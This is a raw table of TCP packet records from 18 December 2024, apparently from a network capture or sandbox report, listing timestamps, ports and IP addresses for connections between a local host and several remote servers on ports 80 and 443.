Dec 18, 2024 15:20:52.032691956 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.033056974 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.033170938 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.034781933 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.034807920 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.035218000 CET	443	49709	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.035278082 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.037872076 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.037955046 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.038003922 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.038006067 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.038017988 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.038058996 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.038072109 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.038583040 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.038604975 CET	443	49709	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.062251091 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.062422991 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.062448025 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.072427034 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.072460890 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.072504997 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.072531939 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.072619915 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.285002947 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.288800001 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.288930893 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.288954973 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.297111988 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.297182083 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.297204018 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.297214031 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.297316074 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.306246042 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.314160109 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.314322948 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.314337015 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.322520971 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.322623968 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.322633028 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.331021070 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.331111908 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.331118107 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.347534895 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.347593069 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.347598076 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.355977058 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.356079102 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.356085062 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.364294052 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.364356041 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.364371061 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.372581005 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.372644901 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.372648954 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.404758930 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.404822111 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.404833078 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.408756018 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.408835888 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.408845901 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.425724030 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.425776005 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.425806999 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.425815105 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.426258087 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.429652929 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.440721035 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.440829992 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.440835953 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.450335026 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.450431108 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.450479984 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.450485945 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.450526953 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.459919930 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.469825983 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.469916105 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.469923019 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.479465961 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.479502916 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.479553938 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.479562044 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.479877949 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.489072084 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.498781919 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.498877048 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.498884916 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.508869886 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.508915901 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.508940935 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.508950949 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.509243011 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.519486904 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.529829025 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.529921055 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.529927015 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.540465117 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.540559053 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.540566921 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.550149918 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.550209999 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.550218105 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.560879946 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.560957909 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.560966969 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.577641010 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.577687979 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.577775955 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.577816010 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.577888012 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.587562084 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.596757889 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.596791983 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.596942902 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.596952915 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.597017050 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.598169088 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.603832006 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.604073048 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.604079962 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.612104893 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.612157106 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.612164974 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.617563963 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.617711067 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.617718935 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.622569084 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.622627020 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.622632980 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.630253077 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.630364895 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.630372047 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.633532047 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.633584976 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.633589983 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.637921095 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.638025045 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.638031960 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.641129017 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.641187906 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.641196012 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.645667076 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.645912886 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.645927906 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.650784969 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.650835037 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.650842905 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.656497002 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.656574011 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.656582117 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.660017967 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.660075903 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.660087109 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.668191910 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.668298006 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.668311119 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.668701887 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.668742895 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.668919086 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:53.189440012 CET	49721	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:53.189496040 CET	443	49721	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:53.189687014 CET	49721	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:53.189815044 CET	49721	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:53.189836025 CET	443	49721	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:54.202502012 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:54.202734947 CET	49733	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:54.322398901 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:54.322418928 CET	80	49733	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:54.322552919 CET	49733	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:54.322761059 CET	49733	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:54.442573071 CET	80	49733	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:54.894929886 CET	443	49721	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:54.895276070 CET	49721	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:54.895303011 CET	443	49721	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:54.895662069 CET	443	49721	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:54.895972967 CET	49721	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:54.896039009 CET	443	49721	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:54.938230991 CET	49721	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:56.158370972 CET	80	49733	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:56.158505917 CET	49733	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:56.448817015 CET	49703	443	192.168.2.5	23.1.237.91
Dec 18, 2024 15:20:56.448893070 CET	49703	443	192.168.2.5	23.1.237.91
Dec 18, 2024 15:20:56.449454069 CET	49741	443	192.168.2.5	23.1.237.91
Dec 18, 2024 15:20:56.449518919 CET	443	49741	23.1.237.91	192.168.2.5
Dec 18, 2024 15:20:56.449598074 CET	49741	443	192.168.2.5	23.1.237.91
Dec 18, 2024 15:20:56.457680941 CET	49741	443	192.168.2.5	23.1.237.91
Dec 18, 2024 15:20:56.457717896 CET	443	49741	23.1.237.91	192.168.2.5
Dec 18, 2024 15:20:56.568469048 CET	443	49703	23.1.237.91	192.168.2.5
Dec 18, 2024 15:20:56.568489075 CET	443	49703	23.1.237.91	192.168.2.5
Dec 18, 2024 15:20:56.685339928 CET	49733	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:56.719460964 CET	49721	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:56.805077076 CET	80	49733	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:57.618454933 CET	80	49733	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:57.618534088 CET	49733	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:57.798237085 CET	443	49741	23.1.237.91	192.168.2.5
Dec 18, 2024 15:20:57.798305035 CET	49741	443	192.168.2.5	23.1.237.91
Dec 18, 2024 15:21:02.623254061 CET	80	49733	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:02.623320103 CET	49733	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:09.453376055 CET	49733	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:09.453711033 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:09.572971106 CET	80	49733	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:09.573182106 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:09.573260069 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:09.573481083 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:09.692974091 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:11.401273012 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:11.401495934 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:11.836044073 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:11.955590010 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.272845984 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.272864103 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.272883892 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.272897959 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.272910118 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.272922993 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.272937059 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.273030043 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.273030043 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.273180962 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.273192883 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.273205042 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.273251057 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.273251057 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.281167030 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.284297943 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.392777920 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.392796040 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.393168926 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.464804888 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.464893103 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.464936018 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.464976072 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.469640017 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.469806910 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.470536947 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.470835924 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.470865011 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.471081018 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.478782892 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.478868008 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.478889942 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.478935003 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.487261057 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.487340927 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.487340927 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.487396002 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.495548964 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.495630980 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.495656013 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.495718002 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.503876925 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.503962994 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.504077911 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.504139900 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.512280941 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.512480021 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.512531996 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.512531996 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.520680904 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.520925999 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.520940065 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.521135092 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.529306889 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.529355049 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.529431105 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.529431105 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.537308931 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.537373066 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.537408113 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.537442923 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.545028925 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.545110941 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.545159101 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.545159101 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.656657934 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.656696081 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.656940937 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.660615921 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.660720110 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.660785913 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.660900116 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.668267012 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.668598890 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.671024084 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.671098948 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.671120882 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.671175003 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.679105043 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.679131031 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.679241896 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.683609962 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.683629990 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.683835983 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.688205004 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.688301086 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.688323021 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.688468933 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.693169117 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.693259954 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.693278074 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.693370104 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.697896004 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.697933912 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.697988033 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.698018074 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.702296972 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.702402115 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.702455997 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.702620029 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.706938982 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.706952095 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.707151890 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.711390018 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.711421967 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.711535931 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.716305017 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.716320992 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.716532946 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.720613003 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.720803976 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.720824003 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.721069098 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.725414991 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.725430012 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.725549936 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.730266094 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.730282068 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.730546951 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.734620094 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.734674931 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.734756947 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.734756947 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.739340067 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.739362001 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.739469051 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.744050980 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.744066000 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:12.744158983 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:12.748414993 CET	80	49771	185.215.113.206	192.168.2.5
